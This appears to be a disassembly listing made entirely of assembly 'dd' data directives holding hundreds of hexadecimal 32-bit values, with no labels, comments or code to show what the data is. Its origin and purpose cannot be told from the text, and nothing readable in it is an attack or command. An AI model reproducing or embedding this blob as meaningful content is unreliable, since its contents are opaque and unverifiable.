		dd 3ACC37CFh, 1A12AB94h, 4AA0124Fh, 55B2407Ch, 441CBD07h
		dd 0EED74576h, 0E5E450D2h, 2BBA883Fh, 236F025h,	41C9B96Ah
		dd 0F95D5B52h, 0F65ECB17h, 4C2557Ah, 0DB00C79h,	9E1E77E9h
		dd 0A2E15325h, 0C593805Dh, 58BF3D25h, 0EA29F5Bh, 38557CDFh
		dd 13E8C1EAh, 0A8C83112h, 26701427h, 185D3BB9h,	5B302027h
		dd 0D763168h, 4876765h,	0F7B0F3ACh, 709E50F9h, 7C477F2h
		dd 4F81F159h, 0E93D68AEh, 0B8EC3A5Bh, 5AA068Ah,	81610ACDh
		dd 2AF0984Eh, 5AC1A2F3h, 2AC6EB80h, 0BD5E66E8h,	5A68825Ch
		dd 2DC2661Bh, 8EFCF8B2h, 50660186h, 68F540EAh, 4C9B30F6h
		dd 9507220Ch, 2C0348E7h, 0BC279C13h, 3FE2C5C7h,	7B1B99EFh
		dd 3C630F2h, 0C8256323h, 69E0510Fh, 9C0F408h, 83D64F35h
		dd 0FC88005Ah, 0C064526Eh, 963B150Ch, 0CA48012Fh, 29084059h
		dd 74CF0EBFh, 15D65D17h, 7855CF23h, 0D507094Eh,	0DC24EB88h
		dd 592773F9h, 1E9BAC8h,	0CA81F99Ch, 7175797Eh, 36F85C80h
		dd 0D789A75Dh, 20685A3Eh, 4B93904Bh, 41BED839h,	89D6029Fh
		dd 45FB74D5h, 4377AAF8h, 4EFCD8B4h, 33CE68C3h, 4BC1572Dh
		dd 68FBE467h, 2B5AE93Ch, 9552A6A0h, 5CD0CCFEh, 0B1802BE9h
		dd 0AB9E0A87h, 6554AD3Eh, 48C4B08h, 8206E2C1h, 8580024Ch
		dd 48293735h, 5F6660C7h, 6389B8B2h, 0EC8A22h, 0B51C4D68h
		dd 405B4325h, 8058E076h, 0F60BB850h, 0DD0B0C03h, 1D80B2BAh
		dd 0BC8E4B9Ch, 8987E913h, 6907AA3h, 252CFE92h, 32CE16E9h
		dd 546E8C01h, 482A2F90h, 0BE067B43h, 38CF6C0Ah,	32C092B8h
		dd 202405BDh, 19A908E2h, 3FE6C5FDh, 0FEC61293h,	68054670h
		dd 56AB3A23h, 2B553D19h, 6A5735EFh, 2F21817Ch, 5BC95BD8h
		dd 7F17DBC1h, 0ACBD1C77h, 0A0708E83h, 0C1B8F3A4h, 0B84AE957h
		dd 7482EE04h, 0BCED5093h, 4B11096Bh, 0A5685330h, 0FCA67E5Bh
		dd 0E8CD4F7Ah, 1E0D310h, 0F8734F7Bh, 36371370h,	550296F7h
		dd 10826857h, 705F34E1h, 0DAA5E506h, 0A4D1F60Fh, 16915C31h
		dd 3E4D0C4Ch, 0BC307709h, 0E00197BFh, 2E47FA68h, 585EF43Ch
		dd 0FE4BFC57h, 59895679h, 0B150AEE9h, 6A1E3576h, 0B28878C4h
		dd 0CDBB017Fh, 3065BC58h, 0F9230CDh, 5127B1B4h,	85B081F7h
		dd 0BE30F3E9h, 601CA6CDh, 581572C0h, 0E378BF57h, 60050DCFh
		dd 533A8675h, 31B43BBBh, 207682Ch, 213D0924h, 550805Fh
		dd 0A0F625Eh, 2DC80174h, 3DE90607h, 54E871F7h, 87BB18B5h
		dd 5A048306h, 0A394F5F2h, 0B0896BE0h, 6147297Ch, 0A88549DBh
		dd 2BD3291Ah, 0CAE475D4h, 6B356615h, 5A511DD3h,	22F63F8Eh
		dd 0B353AD54h, 0AC91E576h, 0EF5F286Fh, 0CF27EC31h, 239A743Ah
		dd 18401598h, 0A7273475h, 5DEA0142h, 9974CF29h,	712C2527h
		dd 0A01B947Fh, 20E951B5h, 7CA1EE8Ch, 0D5A3DB87h, 4DBAF5D9h
		dd 18C0699Bh, 0B0754CF1h, 1222F8A1h, 0A030E534h, 375FEECAh
		dd 0B79519B9h, 28A61F8Bh, 68122158h, 0EC941ABh,	915715E0h
		dd 7B16BC0Dh, 0ECC11950h, 0CDAE0440h, 7ECDA5D0h, 86F82D54h
		dd 3E6DC20h, 7918C3BEh,	0BA8D4614h, 62778991h, 0F6D81BE5h
		dd 0D11612CFh, 6209AF22h, 8B3758FFh, 0F402C3CAh, 6ECD8100h
		dd 3D5BEC1Fh, 3B02D2ACh, 0EE312DACh, 7D7F40D5h,	0ADBF0AFBh
		dd 0BF6D601h, 18D7EB20h, 8394B830h, 7AE68EE9h, 9AFD62CCh
		dd 0D05D4D37h, 8A10159Fh, 0D2595B1Dh, 0A79B5D13h, 0E63030EBh
		dd 0B4BE14C5h, 6731275Bh, 450B655Eh, 90DC7120h,	4C7A54EDh
		dd 7A245CB4h, 0A2508934h, 900CB5A8h, 9EAFF19h, 0BB72E339h
		dd 0F40D50FCh, 0B27A1AC4h, 84EAE58Fh, 8BA9F996h, 16E2E129h
		dd 2D02473Ch, 5DA70336h, 62901140h, 0CC8F3AAh, 0F9B5F4A6h
		dd 0F1D93956h, 0C416F94Ah, 0AC16E5E1h, 3F1F3A08h, 29BECE01h
		dd 0DA4B2176h, 330264DDh, 0D81B2E36h, 50FC06B9h, 0F16DBFDEh
		dd 6FAF692Eh
		dd 0F0315F05h, 1033DBD0h, 0ED3F7CFFh, 845EEE1h,	0AE9642F2h
		dd 99387C29h, 6859CEB0h, 353ED32Eh, 0F82AE3C2h,	0FCEA7768h
		dd 62FD9E68h, 5E041B69h, 634D31ADh, 9BEBD70h, 12AD8220h
		dd 9C3315Dh, 36E5F7Ch, 899717F6h, 28BC7C7Ch, 801B401Eh
		dd 2352C62Fh, 2833F314h, 2694E169h, 0E14AF9h, 406E5682h
		dd 1D97CD89h, 2EA220Dh,	0C7E95557h, 6E560115h, 4645342h
		dd 2E85C158h, 32D5FE1Ah, 167B56ABh, 0B3A3C416h,	540500BDh
		dd 29799322h, 72D51E8h,	6A68F384h, 0FD39CD26h, 0CB4F2059h
		dd 0B2CDE04Eh, 9D7C29CEh, 0D07BE909h, 0F2055E55h, 2CC5DE19h
		dd 43811E36h, 0A333F269h, 10478F10h, 5D2563C2h,	89D9255h
		dd 0B893FCF5h, 6F48601h, 29C329h, 0F931C9Eh, 0CBC26F72h
		dd 890B951h, 784AA3E9h,	1299AF61h, 59605302h, 5C581C07h
		dd 3CBC10E4h, 8065B603h, 6041AF6h, 28E40411h, 48478CC3h
		dd 0E3C56790h, 0AE77017Bh, 3BDA0D22h, 34BB81C5h, 153B331h
		dd 0DD792A68h, 0C03A5E1Ch, 0E906EE60h, 5D004B4Ah, 127FE381h
		dd 0A10B5E27h, 556D5098h, 0D60B6851h, 0F02EE025h, 5530EF8h
		dd 0CD01FB5h, 0C23D744h, 24BA12AFh, 211FD0Dh, 250AB9E5h
		dd 86DA6071h, 7FC70504h, 0BA158CE9h, 2B99A38h, 2F451E61h
		dd 8AF8C5E9h, 891D7B9Dh, 0CE5708C7h, 0B85F4B81h, 8AEAF4E0h
		dd 755C27D2h, 8A8D29Eh,	0F5096853h, 0F207FB60h,	706DFEE0h
		dd 0F0569F3Eh, 95E36178h, 0B03E35E4h, 0D04F2576h, 0E9920EE1h
		dd 6915AF70h, 474E2A79h, 0AC2D40FDh, 0F2C6FE3Ah, 0F328AE02h
		dd 520D2E9h, 0C56E5FBDh, 0C11D344Fh, 0A71CE31Ah, 44977F20h
		dd 9012E7A9h, 1C65D354h, 97949BB6h, 66E607E3h, 0D9E744E8h
		dd 95EC0875h, 4EE2801Fh, 0EAA7C2FEh, 26EFD223h,	68388790h
		dd 4C298627h, 45D60986h, 15F8224Ch, 3BFFB281h, 2B2FB11h
		dd 91BE0BBBh, 8947C2CEh, 68624020h, 40605D3Fh, 44490E81h
		dd 0BE296B4Eh, 0C122006Fh, 0A2361CCh, 3F4026B0h, 595E775Dh
		dd 0FC4B7E1Dh, 9BED5045h, 0B5AD2EE1h, 0AEF68B8Eh, 0DA420E2Dh
		dd 24736518h, 34B0AD3Fh, 5D828FCEh, 5EF5CAB0h, 52097495h
		dd 0DD219C52h, 32A4ADF2h, 8D8DBA33h, 0C5532C3Fh, 38B5CA70h
		dd 821293C3h, 6F1D2F40h, 316CDD03h, 0B0355AD0h,	0C199A728h
		dd 0A362EB6h, 28C8BC58h, 0F49D08EDh, 4DE947D9h,	20F47E9Dh
		dd 4F3E4081h, 9037D89Fh, 1FA120D0h, 2B556871h, 338E051h
		dd 0BF7D16B7h, 3960C7A0h, 1254EFFh, 0A022F17Ch,	9EE9170Ch
		dd 2E72291Fh, 6584ABB9h, 0F7B2D1A3h, 6168CCF1h,	0EF90C4Fh
		dd 0CE195C4h, 9C8A1628h, 0A5D04982h, 61759634h,	558BC6C1h
		dd 0D461BD01h, 29738CFh, 6CEAB7B2h, 1FE40055h, 0BEB81C1Eh
		dd 28126A05h, 0A1E4C831h, 0BF8E6044h, 82FDF0EAh, 0C6095E28h
		dd 1C08317h, 921A730Eh,	783F5D7h, 0F59984C5h, 0A9AECCE8h
		dd 0C37978B0h, 0D4E21C86h, 495D74FAh, 0C1259E5Ah, 0A67A5550h
		dd 0E3EE84FCh, 0CED228FFh, 0C683A1BFh, 73CD2FC3h, 137BAE70h
		dd 0EF36F40Ch, 0D90F9ECAh, 0A8D7D779h, 96BAE11Ah, 10712A6h
		dd 0AE6167C7h, 0CBE42F1Bh, 33B33EEAh, 0D47677ADh, 0DA5F08A2h
		dd 0BEC57EE2h, 0EFC26011h, 40122B31h, 8FF92768h, 0AFFC1F85h
		dd 68F9DB39h, 0BEADFCCAh, 16783DF2h, 0C8A75D3Eh, 5A057F81h
		dd 0E830C142h, 0B5BEAD88h, 0FB52C989h, 65688512h, 10ADF360h
		dd 0A94F86CEh, 521200E1h, 993575A6h, 0D608FC49h, 4D34051Ah
		dd 561D21CEh, 36B9018Eh, 0BA17D468h, 0F8312ADh,	0B95ADB5Eh
		dd 4931527Fh, 0D858B434h, 97135713h, 8B5A0044h,	35044028h
		dd 37F45BF3h, 2A649DFCh, 0C65EFFD6h, 4D730983h,	0EA86D93Dh
		dd 7AF2A63Fh, 4D0EB34Ah, 0F8D4CB5Ah, 3272BF16h,	4B0B1959h
		dd 1A6B50ECh, 0D09D135Fh, 764069A0h, 20F1034Dh,	49CADC37h
		dd 62D37207h, 0EFD086C2h, 4EB611DAh, 11945A4Eh,	10CF547h
		dd 12D622EFh, 0AE03257Bh, 9FE958D0h, 3024C2CBh,	0FF8558E7h
		dd 0E20BD7C0h, 8101493Ah, 44F45BF2h, 0D6891234h, 2574005Ah
		dd 2D8EEFE3h, 2F019D09h, 7E6AD561h, 1B0AEAC0h, 2AD64C58h
		dd 5276F3D9h, 10E7D12h,	7F1464E2h, 2C899DE1h, 14D1766Ch
		dd 4C4D10EFh, 13242658h, 9F25AAD3h, 0A50C83D3h,	2D0A37h
		dd 30D47829h, 0C568D801h, 38234663h, 0A3FF847Dh, 0C3A02520h
		dd 0EDD81AA6h, 0BDC003FFh, 31F06EF2h, 3DAAE912h, 0D1A96034h
		dd 40989340h, 0EB3928E7h, 0B0022A80h, 0C2555E9Fh, 0C7A9D72Ch
		dd 3EAA82FDh, 0F6987F88h, 7AB40FA6h, 982B5A79h,	0C8419596h
		dd 0F6F55120h, 9221F4EFh, 0B378A1DCh, 23F1A4h, 872A176Bh
		dd 6DF47FAh, 0CD49ECD6h, 52A4D65Dh, 6AB18160h, 347DB626h
		dd 0B3292702h, 3402406Dh, 760C2613h, 11F40738h,	3801948h
		dd 2DE50306h, 0D1DA2128h, 0CBB4CB7Dh, 0D86F4A83h, 4F643E2Ah
		dd 5F011112h, 0D008A848h, 0FE4F1474h, 11E98060h, 0B1259787h
		dd 6683D1B0h, 0F341FA5Bh, 6C4AEDC8h, 585E251Ch,	9F1E70E3h
		dd 535070FEh, 36110C68h, 93A80D57h, 0B22D5550h,	3523615Eh
		dd 0CD2A4B5Ch, 0F442422Ah, 29135709h, 0A4F684D2h, 0A9CFD25h
		dd 9BF9E92Eh, 9FD7D8ADh, 6682D97Eh, 61D0F659h, 0FE0123F5h
		dd 0E3ED46C2h, 0F26F2F6h, 0B92857C6h, 0BB90EEF4h, 60E90B80h
		dd 54747E4Ah, 12A98ABEh, 34421BE9h, 0F75AD529h,	7E97F5C6h
		dd 22DFD2DAh, 0F1748B7Ah, 0AEC2E4D0h, 38C42852h, 0FC3641EEh
		dd 75794753h, 6DDA2059h, 0A2216928h, 0BDDE076Fh, 0D5460683h
		dd 3E1F909h, 27907A4h, 4D2C2F92h, 301299ACh, 4072C831h
		dd 6363FA48h, 8061B100h, 0D6841E1h, 1FD77C53h, 0F349CCB3h
		dd 0B38E7D10h, 0BE1EE62Ch, 27669303h, 48F031C4h, 4923F50h
		dd 2E4F3D9h, 0F56CD968h, 129E79CCh, 552E6878h, 53F5163Ah
		dd 3D48E728h, 0F5127948h, 25DB90CBh, 125FA735h,	7B7C15F8h
		dd 579B2DFFh, 8A9F807Dh, 0C0C944A0h, 3C055B3Ch,	2023975h
		dd 7970BD55h, 0F5B9408Bh, 74563FCAh, 5DE80101h,	6F1FDF68h
		dd 6D5EED30h, 53707ABh,	4DB3469Fh, 13CE042Ah, 0F2855608h
		dd 894F2DB2h, 0A48EC818h, 0C278B98h, 9F487806h,	0C4F641F2h
		dd 6BFAD3B5h, 640925F3h, 119857B0h, 16BAFFF7h, 0B774210Fh
		dd 9DD0AA65h, 5ECC7712h, 4D095C85h, 52D488C3h, 0D5A8E29Bh
		dd 0C25ADCE9h, 0F4700F97h, 28151435h, 2CBBD901h, 45EF95F7h
		dd 2826BCFAh, 4B736F59h, 5A6694BFh, 0B7E91029h,	0F6650A07h
		dd 367FBE15h, 6E205616h, 3FB6ECC9h, 0EA0B80C7h,	0F201F530h
		dd 27012F03h, 3CFF7BC8h, 0A74A26B4h, 2F3EC202h,	0BCB35469h
		dd 12429696h, 0E94F029Bh, 0E475E491h, 215E0BC6h, 0D7D14CEh
		dd 443C50A5h, 90006FADh, 500C0868h, 33CE0481h, 0C443A877h
		dd 90E973h, 90453CF2h, 0FAD729B0h, 44BE69A8h, 0E70B3ED8h
		dd 84E57D41h, 0B0BFA109h, 569FC425h, 0CED77AEAh, 0DB782D89h
		dd 0C027D6FBh, 4AD24A80h, 8205074h, 4238AF4Fh, 64A55955h
		dd 8FADA605h, 0C4D1C062h, 354FDA75h, 128274A1h,	180F1CF8h
		dd 0F405D4E1h, 6EEE265Dh, 1D92507h, 17B04FCDh, 63A041h
		dd 5A71FD0Dh, 0DE4CE960h, 0A4B99A9Dh, 0D4A37AA6h, 9902113Ah
		dd 0FDAE930h, 74C026D0h, 0CBE2913Fh, 58C72589h,	5E9D91D2h
		dd 0AE0989E3h, 54F995Ch, 9FE3EFCBh, 99165516h, 349561DCh
		dd 8203BE65h, 0F708E607h, 4018E1DEh, 0AB96316Fh, 7F8005B0h
		dd 169C843Dh, 81CF2980h
		dd 39B96FEh, 899A1E31h,	566A8AFDh, 0F8EB96C4h, 45A4386Bh
		dd 0C40605D7h, 0EF11B551h, 7808A892h, 287316C0h, 26B91BFDh
		dd 40D9428Eh, 25875A48h, 3F62C57h, 2CA604F8h, 283CBEF0h
		dd 57FC74D8h, 9E9DBD92h, 86B62D65h, 80493DDCh, 835C4674h
		dd 9801762Ch, 0E908805Ch, 27FD9EC5h, 653366FEh,	0F18FEBBFh
		dd 0A27A6F3Fh, 0DC028684h, 0F0EE4F73h, 2E054AB4h, 0F229D627h
		dd 25104BBDh, 0BDA05A04h, 6206286Eh, 0E5EA78F8h, 0EEED0844h
		dd 6B976C18h, 757C6BC2h, 0AD284C61h, 88E5364Eh,	0E90B0429h
		dd 3059C547h, 58190819h, 92ACE22Eh, 25C29EAFh, 0BC19D55Eh
		dd 7843A94h, 24F94B09h,	4291FF20h, 0C504C8C9h, 81DEB277h
		dd 5140102Dh, 37825CCh,	0E94AAB60h, 0DB041C2Ch,	0FD4DF7F1h
		dd 7FC055C7h, 0B745E343h, 0EA751B72h, 20C46C17h, 7F3FDEC1h
		dd 0DFF9D86Fh, 4DC82200h, 0FD08D7BFh, 4CE09FE0h, 2AC071ACh
		dd 0E1CD815Dh, 4DB82632h, 3E40254Fh, 391E76BBh,	168D1D40h
		dd 936E5756h, 0D2E1E6A2h, 9FA86021h, 51440D09h,	151AD409h
		dd 6809E2B5h, 10C627B3h, 98324420h, 0BABF4A08h,	0E6584049h
		dd 0D228F101h, 517B5B2Fh, 2B143E5h, 93E6D17Fh, 5D252AE8h
		dd 0DA84E5E9h, 39D71495h, 0F389E12h, 0C653B4D3h, 238F0CABh
		dd 20B050Ch, 79296E28h,	5B604907h, 83C92BC5h, 67E47FC7h
		dd 55F1186Bh, 5B8163E7h, 44EBE950h, 12D0B250h, 0BA7A4EE0h
		dd 9BEF7705h, 42232C3h,	62040DA8h, 0AF2BD403h, 10B4150h
		dd 53CEBA52h, 2660164Fh, 693D1688h, 0AC0AEB68h,	560396D2h
		dd 9A45302h, 95668038h,	4EB6A282h, 4D252475h, 0BFEA3ABh
		dd 85769004h, 6006A84h,	0C013B5C7h, 24B64Eh, 0F7101535h
		dd 0A1625D0h, 0CC043812h, 4013E0A3h, 0B1354000h, 709FE232h
		dd 0A080B897h, 1819EEECh, 0E405CE66h, 6CCF0685h, 11E92431h
		dd 0BF3F00AFh, 7307665h, 140384B0h, 836FFA13h, 40FEFCEFh
		dd 0E9F3C724h, 0FDF590C3h, 899C825Fh, 0D819DE76h, 0B1294E72h
		dd 7E0B0692h, 332560EEh, 4AFECEh, 34686E31h, 0E91AE889h
		dd 587E1FF5h, 4B59744Bh, 5C4FF4D1h, 645D550Bh, 0A07589h
		dd 1F4E3237h, 1C0CB6A4h, 0D63E367Ch, 0E5773F21h, 0FABD38E6h
		dd 58C8B62Dh, 13EEE65Ah, 3DEF661h, 0CFFEA6DBh, 0C0CBEFE8h
		dd 8F6C1B7h, 0F85A2528h, 0DF20787Ah, 9EF8B7F5h,	26B35300h
		dd 0F6DCF380h, 0D5E91BDBh, 9C58317Ch, 97202078h, 413AE059h
		dd 0EA6257D2h, 0BA301DCDh, 0DDB79FAh, 1E9834Dh,	738B39FEh
		dd 7743E14Ch, 20F0B502h, 0CB2925h, 0B030CFC3h, 7D7C3D58h
		dd 43B0A2A6h, 57D7352Dh, 42380696h, 5DC9424Fh, 8CA4528Bh
		dd 72DFE453h, 0B9D2B5Dh, 8E7D59EEh, 6FE6C027h, 0B8612D35h
		dd 222860D2h, 2C99345Bh, 5B35F04Ch, 0DD5683C3h,	0EF80B6B9h
		dd 42B92785h, 5BB5897h,	0CDD71A9h, 816AC089h, 6917E9E2h
		dd 4FFE18DBh, 0C17C06F8h, 0B47B31CCh, 22DB7001h, 35F66E40h
		dd 0F8C368DFh, 710920CEh, 0AE539D5Fh, 0F92B2009h, 0D6FC6953h
		dd 0A8612358h, 95357D97h, 3C4C18FBh, 15F7FA34h,	0BAAFE92Fh
		dd 892AFA4Ah, 9B2FA44Ch, 382DFF20h, 829D459Ah, 0F4C12C5Fh
		dd 0A25A677Ch, 68CAE342h, 0D4C64269h, 5C76D8C1h, 1913A8FEh
		dd 6BB3B1Dh, 2CAAD190h,	68E93FBCh, 0AA0B888Ch, 57C000D8h
		dd 9556D108h, 0D0AD8B61h, 0E2B5A92Eh, 82CCF79Dh, 2ADE58B5h
		dd 208EA8ADh, 14F42B9Dh, 0BB156062h, 5D026069h,	5DED48C1h
		dd 3D0FF502h, 68FD62D4h, 0F901C33Ah, 581DABD8h,	0B9168C40h
		dd 812234FCh, 89987E6Ch, 9B10F853h, 8BAAF597h, 0A13AC4h
		dd 565702F9h, 94085AE9h, 64798E9h, 8A0ECF81h, 0DF55EE3Ah
		dd 0C9FFBE0Eh, 0C701D5FDh, 6BF1E4E9h, 0FBED8FDDh, 0F0DAB24h
		dd 7730459Eh, 7E586349h, 658FBE04h, 0D1FF3ABDh,	6DD5627Dh
		dd 0CA46187Bh, 1CE810Dh, 5CF55B84h, 66520C68h, 0DF4815BBh
		dd 7F24C08h, 6C3C653Bh,	0D68BABE2h, 0A4C98140h,	40303542h
		dd 885A31F7h, 0E6CD8ACEh, 0E928DA58h, 0BD73E8FDh, 0D876176Ch
		dd 0E8315E4Fh, 9B2C8AD7h, 0A5552DDCh, 22A1420Eh, 7D0EB882h
		dd 4B495678h, 3EBDA879h, 4C30CF7Ch, 0D700C31h, 84114A0Eh
		dd 11F0875Dh, 40788514h, 863DD6FEh, 0AA180960h,	0EE0F026Eh
		dd 0E61090EAh, 5EF29004h, 3E27F242h, 0F8F8ACFDh, 13B18808h
		dd 0BB52C159h, 0F716DE6h, 46343531h, 0EC252C1Eh, 0C8014A0Bh
		dd 0D56FF759h, 0CF31C10Bh, 863810E9h, 77CE6809h, 4CE67466h
		dd 361E2A26h, 0E25E03A0h, 2E01D0E0h, 0A5C4E10h,	4181B93Ch
		dd 20A04BF4h, 630BEEC5h, 8440150Ch, 57AFFE33h, 0C6F961F7h
		dd 50BEFC02h, 8912C6B9h, 3280C8E0h, 1F0694EDh, 7A26A2FFh
		dd 0DADFA8C9h, 14A030B0h, 42C7B901h, 9D465B4Fh,	310E5AB7h
		dd 3FED3E01h, 322B8C4Fh, 0FC7BFE7h, 29B40EC2h, 10E1526Bh
		dd 0C8F57CBAh, 12923FF7h, 7928AED4h, 0B45D5BE8h, 0D34B221Bh
		dd 0BC92D025h, 9D95750h, 4DB0F749h, 98971551h, 135F7D3h
		dd 0D052131h, 82DECECAh, 0A823E046h, 73D8601Bh,	0A5C25C41h
		dd 0AAAD6017h, 9554DC31h, 506A4249h, 527F9BD5h,	0AF2716CAh
		dd 0E294B466h, 0F812471Ch, 0DA84DEC3h, 82A7686h, 57273616h
		dd 299EAF81h, 0D3D9D639h, 0B8E91BBFh, 0A7EA8442h, 0D1EF92E7h
		dd 2D3666Ah, 0BD0EF4B9h, 0EE408325h, 4854F368h,	0C29D3CC5h
		dd 69B72CDh, 0E162BF2h,	400B0C72h, 843244DAh, 2D2BFC8h
		dd 2BCF8F09h, 628B723Eh, 0F61A10EFh, 0CC686600h, 0D7E4BF0Ch
		dd 6E7A5E27h, 96C9824h,	1BB0763Bh, 9A12ABDEh, 8F80BA85h
		dd 1FC4BB53h, 494FFE33h, 2121543Bh, 7AE12983h, 0A6473C0Ch
		dd 8B2D055Dh, 0BE7C4330h, 0CA1C681h, 0EE94306Dh, 21073413h
		dd 0CC4E753Bh, 68005223h, 4F5D5567h, 0DDC2835Ah, 88DE187Ch
		dd 0E239C059h, 4CD7C805h, 177B20D4h, 0BCF56BE9h, 119EC40Ah
		dd 5C27C8ECh, 0E380EEF9h, 680D4258h, 60644B43h,	0DE1F5BE0h
		dd 2B9F4955h, 0E9083801h, 313F66A6h, 11E3236h, 882FF229h
		dd 0AFBC3954h, 9F65562Dh, 92BA9816h, 59C5AD5h, 0F3457A0Ch
		dd 213509EEh, 1C0B5E9Ch, 0B3D1F2DCh, 3BB6034h, 0FEF3F5FFh
		dd 0B2E1DE31h, 0BEE33B50h, 0AF80CE25h, 496742BAh, 0D888786Eh
		dd 3B98BB8Ah, 0ED0287B6h, 4F1160FDh, 0AF3EA75h,	82C96F08h
		dd 571CDBC5h, 342CF099h, 0EE3CC139h, 0C0D01607h, 0C4D19822h
		dd 41A748A3h, 0F6813403h, 61B2606Ch, 0C87F4DE2h, 7344F74Fh
		dd 0F35A4FFBh, 0C2B35B3Eh, 0C401E84Fh, 0A8ADEF49h, 12D65510h
		dd 0CEAAD821h, 8AC85BD3h, 57E9800Ah, 8854D44Ah,	0B71E34DAh
		dd 17D698AFh, 7251A6A9h, 2482F3E2h, 41B5FF3h, 81E66211h
		dd 1740B7h, 0B859CD29h,	43B288ECh, 71C2354Bh, 0FE0B810Ch
		dd 96D62016h, 0CA858582h, 39801FB0h, 0C3962FEBh, 0E616AA48h
		dd 20A470A8h, 5A36879h,	508FAD91h, 251D4453h, 552C88E2h
		dd 22690B51h, 0E1A01E79h, 0B51DDB54h, 2D47F858h, 5597636h
		dd 0EEF502E9h, 0CA2F0E39h, 0B9F4D49h, 0C699FCE9h, 91D17AABh
		dd 53280E0Eh, 19AE7F4Bh, 4808DD69h, 0A25B170Bh,	67F00B72h
		dd 8CEA8299h, 0B3FF09CFh, 2BE7B86Ch, 58E23710h,	0B015E70Eh
		dd 0FD09DA31h, 0DC6E5F61h, 47701A75h, 0A0B09F6h, 19643653h
		dd 0A801339Eh, 2951071Ch, 2C2A1568h, 4B83980Ah,	892BB4B6h
		dd 0CFD0D054h, 0DFF6E21Eh, 590FB189h, 92889C68h, 0E9A521D7h
		dd 28913CB4h, 0A570824Eh
		dd 58E7DE9Fh, 0B0055052h, 58C288A2h, 0E9A8FE01h, 0D82B4FF9h
		dd 4B692E3Eh, 0C4F2C891h, 9578264h, 45CA01B0h, 804006D5h
		dd 267212F6h, 0EB4653h,	49284384h, 0F969D7E9h, 964CFFCAh
		dd 7B4AF17Eh, 0F6C2D9D2h, 0CD32044Dh, 25208135h, 0F6902EE2h
		dd 0DDD328AFh, 26DC65AAh, 0BF56E958h, 73D45F89h, 25A278C9h
		dd 8DEE878Bh, 0EB5EA4F6h, 40E09FE4h, 217F34F6h,	1E7B7E72h
		dd 0DEE88629h, 59019783h, 0CFD2972Bh, 52F47C6Eh, 6829B0F7h
		dd 0F23F5A5Ch, 0C6809352h, 5C6A02F2h, 750A393Dh, 1ADB1A2Ch
		dd 225F9562h, 775D7025h, 9CB7A19Ch, 0DFC327D8h,	800BA7D2h
		dd 0F819417Dh, 0AC48204Bh, 304BB70Fh, 0E20E29F9h, 309E5F88h
		dd 42A69D80h, 8CDFD99Dh, 0C5F9E1ECh, 9F2E222Ch,	0EB2F8820h
		dd 4B32653Bh, 5BBA16DDh, 0BD178213h, 5048B040h,	2A59BCC1h
		dd 1A60042Eh, 12E34AE9h, 7F9A8CBFh, 8824FC92h, 5B1232C6h
		dd 8C947897h, 0F3F7A3F8h, 8D02BECDh, 0EE5F14CFh, 0A8E8430Bh
		dd 60CF9D4h, 0D6E9FD01h, 5A039794h, 8158C616h, 0BF26D1F5h
		dd 0ED8D807Fh, 0DC0527F0h, 0A9E4E97Dh, 0F0025588h, 659160CBh
		dd 0A6542EC7h, 0F5F1465Fh, 3D404830h, 1ECE3025h, 0CF01CE18h
		dd 0FE83A8AEh, 0B8DC51E9h, 84D2B5AEh, 0C38855BFh, 351A0593h
		dd 1D10B02Ah, 1BC0745Fh, 2767F8E2h, 365C25A8h, 119C6202h
		dd 7B7831h, 0F94C42F2h,	5AD72926h, 3C5F87F4h, 47E10DA8h
		dd 0B25B03CEh, 0A690D5DAh, 0D73D4F50h, 0D4269660h, 17AD9821h
		dd 49A09AA7h, 207A37BDh, 79273F7Eh, 0C174D167h,	2C6B7268h
		dd 56BCD393h, 376D3286h, 529BCD0Bh, 7A0483CFh, 0A2AF84FFh
		dd 0E09DC5B9h, 0BDE32CEBh, 1E51BB02h, 0E942E938h, 1D2E665Ch
		dd 55BA0720h, 5038B46h,	2DE82F8Ch, 0E9376FE7h, 0F3D06D7Eh
		dd 76832712h, 45C602EFh, 2969C754h, 0B1A08DE0h,	132CBD80h
		dd 0C51C8267h, 14EE0162h, 2B12E54Ch, 81A3094h, 18170C1Ch
		dd 13B1230h, 6CA7043Ch,	0CC28BA51h, 0B3E5713h, 0F3F6DF18h
		dd 530E13E5h, 0D7D139DCh, 0A08261EDh, 0E4847B6Eh, 0BE41F0BDh
		dd 7612B02h, 0C1F78947h, 2E66ECBEh, 631F6018h, 91B71841h
		dd 41CE0144h, 80023071h, 1D28F587h, 0C98EDE68h,	4C648AE9h
		dd 0E9CFFE04h, 72AB61C0h, 0F3605C02h, 14B1985h,	7225BEB3h
		dd 0E7FF5A89h, 48462871h, 57CF018Ah, 1306F324h,	0B9AA0BEEh
		dd 37F3DA8h, 718A05C5h,	7FFF8EE9h, 84CEC2Ah, 0FE9222Ah
		dd 1DDA5A68h, 0AB18B245h, 1B78EF54h, 0F175B381h, 0CADB522h
		dd 248B15D5h, 8D3A1342h, 0B8C68124h, 4AC2139Ah,	0B5D3F770h
		dd 77FF9B68h, 62835495h, 51DD478Fh, 0A91AA5D0h,	0AA2E16D5h
		dd 171C55BAh, 859E56B5h, 0F254555Ch, 29E9828Bh,	6F71D4A4h
		dd 0B78342Bh, 0E20B71BDh, 0BE02CC2Ah, 0F73D8902h, 0D195ED46h
		dd 8BB2C38h, 0BB0280B5h, 5C375494h, 5D1A8066h, 5BD929BCh
		dd 0B38D295h, 43DA3A30h, 0A00B7E71h, 19651420h,	0C163ED68h
		dd 4AA72CC5h, 0A81027B6h, 0E58A6E1Dh, 0CDFAFD54h, 0FC54EEDCh
		dd 0D75B2D3Eh, 7892733Eh, 0DB4D1212h, 4FA3480Dh, 1672CA6Eh
		dd 95379D22h, 0AE50C785h, 921159DBh, 62A35A00h,	37E93A4Ah
		dd 14D77F94h, 2E2D4902h, 2CAE529Dh, 0C5B55F1Ch,	0E5688524h
		dd 989AEE22h, 8D08ED5Fh, 0D02F9D71h, 6036BA6Ch,	9E84D84Eh
		dd 4A27B6C2h, 19D355C5h, 17CB2A08h, 327D0D30h, 410DA406h
		dd 5100F910h, 1B6342B9h, 0CA7D0947h, 1D524E5Dh,	0D3D7F231h
		dd 96E85053h, 8EA3A8B5h, 16198FBAh, 0E24917ACh,	1254481Bh
		dd 0E1EC03ABh, 0B02DF7E9h, 73F789E5h, 0D3880E87h, 2A60FB52h
		dd 2DC5805Ah, 76A22894h, 1F5C5359h, 4A7CF4FAh, 0AC9A2549h
		dd 896B4575h, 0ADA2B4A8h, 64415DEAh, 0EE03C29Ch, 0DFB58272h
		dd 6693D60h, 89E93FE1h,	5645A79Fh, 0FC49DBCAh, 3B67C2D0h
		dd 0E2447D29h, 16D84230h, 15645BFh, 5FB955F6h, 2F0F9722h
